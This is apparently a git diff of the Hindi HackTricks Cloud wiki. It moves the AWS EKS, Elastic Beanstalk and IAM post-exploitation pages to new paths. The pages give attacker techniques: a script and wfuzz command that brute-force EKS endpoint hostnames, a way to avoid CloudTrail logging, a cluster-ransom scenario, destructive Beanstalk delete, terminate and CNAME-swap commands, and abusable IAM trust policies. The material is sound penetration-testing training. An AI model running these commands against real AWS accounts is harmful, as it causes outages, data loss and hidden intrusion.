3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1::cluster/
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1::cluster/
-user: arn:aws:eks:us-east-1::cluster/
-name: arn:aws:eks:us-east-1::cluster/
-current-context: arn:aws:eks:us-east-1::cluster/
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1::cluster/
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- 
-- eks
-- get-token
-- --cluster-name
-- 
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-

-
-### AWS से Kubernetes तक
-
-**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह **`system:masters`** (k8s प्रशासन) के kubernetes क्लस्टर भाग में प्रवेश प्राप्त कर सकेगा। इस लेख के समय **क्लस्टर को बनाने वाले** **कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है।
-
-**K8s पर अधिक AWS IAM उपयोगकर्ताओं या भूमिकाओं को पहुँच प्रदान करने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है।
-
-> [!WARNING]
-> इसलिए, config map **`aws-auth`** पर **लिखने की पहुँच** रखने वाला कोई भी व्यक्ति **पूरे क्लस्टर को समझौता** कर सकेगा।
-
-**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** प्रदान करने के बारे में अधिक जानकारी के लिए और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)।
-
-यहाँ भी[ **यह अद्भुत**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**।
-
-### Kubernetes से AWS तक
-
-यह संभव है कि **kubernetes सेवा खाते** के लिए **OpenID प्रमाणीकरण** की अनुमति दी जाए ताकि वे AWS में भूमिकाएँ ग्रहण कर सकें। जानें कि [**यह इस पृष्ठ पर कैसे काम करता है**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)।
-
-### JWT टोकन से GET Api सर्वर एंडपॉइंट
-
-JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र भी मिलता है। ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) यह जानते हुए कि EKS URL का मानक प्रारूप है
-```bash
-https://...eks.amazonaws.com
-```
-कोई दस्तावेज़ नहीं मिला जो 'दो अक्षरों' और 'संख्या' के लिए मानदंडों को समझाए। लेकिन मैंने अपनी ओर से कुछ परीक्षण किए और ये दो बार दिखाई दिए:
-
-- gr7
-- yl4
-
-वैसे, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची बनाने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें।
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-फिर wfuzz के साथ
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
-```
-> [!WARNING]
-> याद रखें कि & को बदलें।
-
-### CloudTrail को बायपास करें
-
-यदि एक हमलावर के पास **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स हैं। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)।
-
-तो जब हमलावर EKS क्लस्टर के साथ बात करता है, **cloudtrail उपयोगकर्ता के चोरी होने और इसे एक्सेस करने से संबंधित कुछ भी लॉग नहीं करेगा**।
-
-ध्यान दें कि **EKS क्लस्टर में लॉग सक्षम हो सकते हैं** जो इस एक्सेस को लॉग करेंगे (हालांकि, डिफ़ॉल्ट रूप से, वे अक्षम होते हैं)।
-
-### EKS फिरौती?
-
-डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, वह **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखेगा। और यही एकमात्र "सुरक्षित" एक्सेस होगा जो AWS Kubernetes क्लस्टर पर होगा।
-
-तो, यदि एक **हमलावर फर्गेट का उपयोग करके एक क्लस्टर से समझौता करता है** और **सभी अन्य प्रशासकों को हटा देता है** और **क्लस्टर बनाने वाले AWS उपयोगकर्ता/भूमिका को हटा देता है**, ~~हमलावर ने **क्लस्टर को फिरौती**~~** ली हो सकती है**।
-
-> [!TIP]
-> ध्यान दें कि यदि क्लस्टर **EC2 VMs** का उपयोग कर रहा था, तो **नोड** से प्रशासनिक विशेषाधिकार प्राप्त करना संभव हो सकता है और क्लस्टर को पुनर्प्राप्त करना।
->
-> वास्तव में, यदि क्लस्टर फर्गेट का उपयोग कर रहा है तो आप EC2 नोड्स को क्लस्टर में ले जा सकते हैं या सब कुछ EC2 में स्थानांतरित कर सकते हैं और नोड में टोकन को एक्सेस करके इसे पुनर्प्राप्त कर सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
new file mode 100644
index 000000000..3f712e62b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+अधिक जानकारी के लिए देखें
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS console के माध्यम से **Kubernetes objects** देख सकते हैं ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Connect to AWS Kubernetes Cluster
+
+- आसान तरीका:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- इतना आसान तरीका नहीं:
+
+यदि आप **get a token** के साथ **`aws eks get-token --name `** प्राप्त कर सकते हैं पर आपके पास cluster info (describeCluster) पाने की permissions नहीं हैं, तो आप अपना खुद का **`~/.kube/config`** तैयार कर सकते हैं। हालांकि, token होने के बावजूद, आपको अभी भी कनेक्ट करने के लिए **url endpoint to connect to** चाहिए (यदि आपने pod से JWT token प्राप्त किया है तो [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) पढ़ें) और **name of the cluster** भी चाहिए।
+
+मेरे केस में, मैंने जानकारी CloudWatch logs में नहीं पाई, लेकिन मैंने इसे LaunchTemaplates userData में पाया और EC2 machines के userData में भी। आप यह जानकारी userData में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (the cluster name was cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+

+
+kube config
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1::cluster/
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1::cluster/
+user: arn:aws:eks:us-east-1::cluster/
+name: arn:aws:eks:us-east-1::cluster/
+current-context: arn:aws:eks:us-east-1::cluster/
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1::cluster/
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- 
+- eks
+- get-token
+- --cluster-name
+- 
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+

+
+### From AWS to Kubernetes
+
+The **निर्माता** of the **EKS cluster** **हमेशा** kubernetes क्लस्टर के group **`system:masters`** (k8s admin) हिस्से में पहुँचने में सक्षम होगा। इस लेखन के समय यह पता लगाने का **कोई प्रत्यक्ष तरीका** नहीं है **कि किसने** क्लस्टर बनाया था (आप CloudTrail चेक कर सकते हैं)। और उस **privilege** को **हटाने** का **कोई तरीका** नहीं है।
+
+The way to grant **K8s पर अधिक AWS IAM users या roles को access देने का तरीका** is using the **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> इसलिए, जिनके पास config map **`aws-auth`** पर **write access** है वे पूरे क्लस्टर को **compromise** कर सकेंगे।
+
+For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
+
+### Kubernetes से AWS
+
+यह संभव है कि kubernetes service account के लिए **OpenID authentication** की अनुमति दी जाए ताकि वे AWS में roles assume कर सकें। Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+JWT token को decode करने पर हमें cluster id & साथ ही region मिलते हैं। ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) यह जानते हुए कि EKS url का standard format है
+```bash
+https://...eks.amazonaws.com
+```
+ऐसी कोई दस्तावेज़ नहीं मिली जो 'two chars' और 'number' के मानदंडों की व्याख्या करे। पर मेरी ओर से किए गए कुछ परीक्षणों में ये बार-बार दिखे:
+
+- gr7
+- yl4
+
+वैसे ये सिर्फ 3 chars हैं — इन्हें हम bruteforce कर सकते हैं। सूची जनरेट करने के लिए नीचे दिए गए script का उपयोग करें
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+फिर wfuzz के साथ
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
+```
+> [!WARNING]
+> इन्हें बदलना याद रखें & .
+
+### CloudTrail को बायपास करें
+
+यदि कोई attacker AWS के credentials प्राप्त कर लेता है जिसके पास **permission over an EKS** है। यदि attacker अपना खुद का **`kubeconfig`** (जैसा पहले बताया गया, **`update-kubeconfig`** को कॉल किए बिना) कॉन्फ़िगर करता है, तो **`get-token`** Cloudtrail में logs जनरेट नहीं करता क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह सिर्फ token लोकली बनाता है)।
+
+तो जब attacker EKS cluster के साथ संचार करता है, **cloudtrail उस चोरी किए गए user द्वारा किए गए access से संबंधित कुछ भी लॉग नहीं करेगा**।
+
+ध्यान दें कि **EKS cluster might have logs enabled** जो इस access को log करेंगे (हालाँकि, by default वे disabled होते हैं)।
+
+### EKS Ransom?
+
+Default रूप से जो **user or role that created** एक cluster है उसे cluster पर **ALWAYS going to have admin privileges** मिलेंगे। और वही AWS का Kubernetes cluster पर एकमात्र "secure" access होगा।
+
+तो, यदि एक **attacker compromises a cluster using fargate** और **removes all the other admins** और d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**।
+
+> [!TIP]
+> ध्यान दें कि यदि cluster **EC2 VMs** का उपयोग कर रहा था, तो संभव है कि **Node** से Admin privileges प्राप्त करके cluster को recover किया जा सके।
+>
+> वास्तव में, यदि cluster Fargate का उपयोग कर रहा है आप EC2 nodes कर सकते हैं या सब कुछ EC2 पर मूव करके cluster को recover कर सकते हैं और node में मौजूद tokens को एक्सेस करके उसे वापस ले सकते हैं।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 49a9e6423..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-अधिक जानकारी के लिए:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: जांचें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-
-जिस हमलावर के पास `elasticbeanstalk:DeleteApplicationVersion` की अनुमति है, वह **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है।
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**संभावित प्रभाव**: अनुप्रयोग तैनाती में विघटन और अनुप्रयोग संस्करणों का संभावित नुकसान।
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-
-एक हमलावर जिसके पास अनुमति `elasticbeanstalk:TerminateEnvironment` है, **एक मौजूदा Elastic Beanstalk वातावरण को समाप्त कर सकता है**, जिससे अनुप्रयोग के लिए डाउनटाइम और यदि वातावरण बैकअप के लिए कॉन्फ़िगर नहीं किया गया है तो संभावित डेटा हानि हो सकती है।
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में बाधा।
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-
-एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह क्रिया अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है।
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**संभावित प्रभाव**: एप्लिकेशन संसाधनों, कॉन्फ़िगरेशन, वातावरण और एप्लिकेशन संस्करणों का नुकसान, सेवा में बाधा और संभावित डेटा हानि का कारण बनता है।
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-
-एक हमलावर जिसके पास `elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति है, **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जो उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान कर सकता है या अनपेक्षित व्यवहार का कारण बन सकता है।
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**संभावित प्रभाव**: उपयोगकर्ताओं को अनुप्रयोग का गलत संस्करण प्रदान करना या स्वैप किए गए वातावरण के कारण अनुप्रयोग में अनपेक्षित व्यवहार उत्पन्न करना।
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
-
-`elasticbeanstalk:AddTags` और `elasticbeanstalk:RemoveTags` अनुमतियों के साथ एक हमलावर **Elastic Beanstalk संसाधनों पर टैग जोड़ या हटा सकता है**। यह क्रिया गलत संसाधन आवंटन, बिलिंग, या संसाधन प्रबंधन का कारण बन सकती है।
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**संभावित प्रभाव**: जोड़े गए या हटाए गए टैग के कारण गलत संसाधन आवंटन, बिलिंग, या संसाधन प्रबंधन। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
new file mode 100644
index 000000000..913d2f37e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+अधिक जानकारी के लिए:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: जांचें कि क्या इसके लिए और permissions की आवश्यकता है
+
+यदि किसी attacker के पास `elasticbeanstalk:DeleteApplicationVersion` permission है, तो वह **मौजूदा application version को delete कर सकता है**। यह कार्रवाई application deployment pipelines को बाधित कर सकती है या यदि बैकअप नहीं है तो specific application versions के नुकसान का कारण बन सकती है।
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**संभावित प्रभाव**: एप्लिकेशन की तैनाती में व्यवधान और एप्लिकेशन संस्करणों का संभावित नुकसान।
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: परीक्षण करें कि क्या इसके लिए अधिक permissions की आवश्यकता है
+
+एक हमलावर जिसके पास permission `elasticbeanstalk:TerminateEnvironment` है, वह **मौजूदा Elastic Beanstalk environment को समाप्त कर सकता है**, जिससे एप्लिकेशन के लिए डाउनटाइम और अगर environment बैकअप के लिए कॉन्फ़िगर नहीं है तो संभावित डेटा हानि हो सकती है।
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**संभावित प्रभाव**: एप्लिकेशन का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में व्यवधान।
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: जांचें कि क्या इसके लिए और अनुमतियाँ आवश्यक हैं
+
+`elasticbeanstalk:DeleteApplication` permission वाले attacker पूरी Elastic Beanstalk application को **हटा सकता है**, जिसमें इसके सभी versions और environments शामिल हैं। यदि बैकअप नहीं लिया गया है तो इस क्रिया के कारण एप्लिकेशन संसाधनों और कॉन्फ़िगरेशन का गंभीर नुकसान हो सकता है।
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Potential Impact**: एप्लिकेशन संसाधन, कॉन्फ़िगरेशन, एनवायरनमेंट और एप्लिकेशन वर्शन का नुकसान, जिससे सेवा में व्यवधान और संभावित डेटा हानि हो सकती है।
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: यह परीक्षण करें कि क्या इसके लिए और अनुमतियाँ आवश्यक हैं
+
+एक हमलावर जिसके पास `elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति हो, वह **दो Elastic Beanstalk environments के CNAME records को swap कर सकता है**, जिससे उपयोगकर्ताओं को एप्लिकेशन का गलत वर्शन सर्व हो सकता है या अनपेक्षित व्यवहार उत्पन्न हो सकता है।
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Potential Impact**: उपयोगकर्ताओं को एप्लिकेशन का गलत वर्शन सर्व करने या swapped environments के कारण एप्लिकेशन में अनपेक्षित व्यवहार होने का जोखिम।
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: यह परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है
+
+एक attacker जिसके पास `elasticbeanstalk:AddTags` और `elasticbeanstalk:RemoveTags` permissions हैं, वह **Elastic Beanstalk resources पर टैग जोड़ या हटाना** कर सकता है। यह क्रिया गलत resource allocation, billing, या resource management का कारण बन सकती है।
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**संभावित प्रभाव**: टैग जोड़ने या हटाने के कारण संसाधनों का गलत आवंटन, बिलिंग में गलतियाँ, या संसाधन प्रबंधन में त्रुटियाँ।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
deleted file mode 100644
index b6a2f772f..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ /dev/null
@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-For more information about IAM access:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-यदि आप किसी **external account (A)** को अपने account में किसी **role** तक access करने की अनुमति देते हैं, तो आपके पास शायद यह देखने के लिए **0 visibility** होगी कि वास्तव में कौन उस external account को access कर सकता है। यह समस्या इसीलिए है क्योंकि अगर कोई अन्य external account (B) external account (A) को access कर सकता है तो सम्भव है कि **B भी आपके account को access कर सके**।
-
-इसलिए, जब आप किसी external account को अपने account में किसी role तक access देने देते हैं तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "secret" string है जिसे external account (A) को आपके संगठन में **assume the role in your organization** करने के लिए **need to specify** करना होता है। चूँकि **external account B won't know this string**, भले ही उसके पास A पर access हो, वह तब भी **won't be able to access your role**।
-
-

-
-हालाँकि, ध्यान दें कि यह `ExternalId` "secret" **not a secret** है — जो भी व्यक्ति **read the IAM assume role policy will be able to see it** वह इसे देख सकेगा। लेकिन जब तक external account A इसे जानता है और external account **B doesn't know it**, तब तक यह **prevents B abusing A to access your role**।
-
-Example:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> किसी attacker के लिए confused deputy का फायदा उठाने हेतु उसे किसी तरह यह पता लगाना होगा कि current account के principals other accounts में roles की impersonate कर सकते हैं या नहीं।
-
-### अनपेक्षित Trusts
-
-#### Wildcard को principal के रूप में
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-यह पॉलिसी **सभी AWS को अनुमति देती है** कि वे भूमिका ग्रहण कर सकें।
-
-#### प्रिंसिपल के रूप में सेवा
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-यह नीति **किसी भी खाते** को उनके apigateway को इस Lambda को कॉल करने के लिए कॉन्फ़िगर करने की अनुमति देती है।
-
-#### S3 को प्रिंसिपल के रूप में
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-यदि किसी S3 bucket को principal के रूप में दिया गया है, क्योंकि S3 buckets का Account ID नहीं होता, तो यदि आपने **deleted your bucket and the attacker created** it in their own account, तो वे इसका दुरुपयोग कर सकते हैं।
-
-#### समर्थित नहीं
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
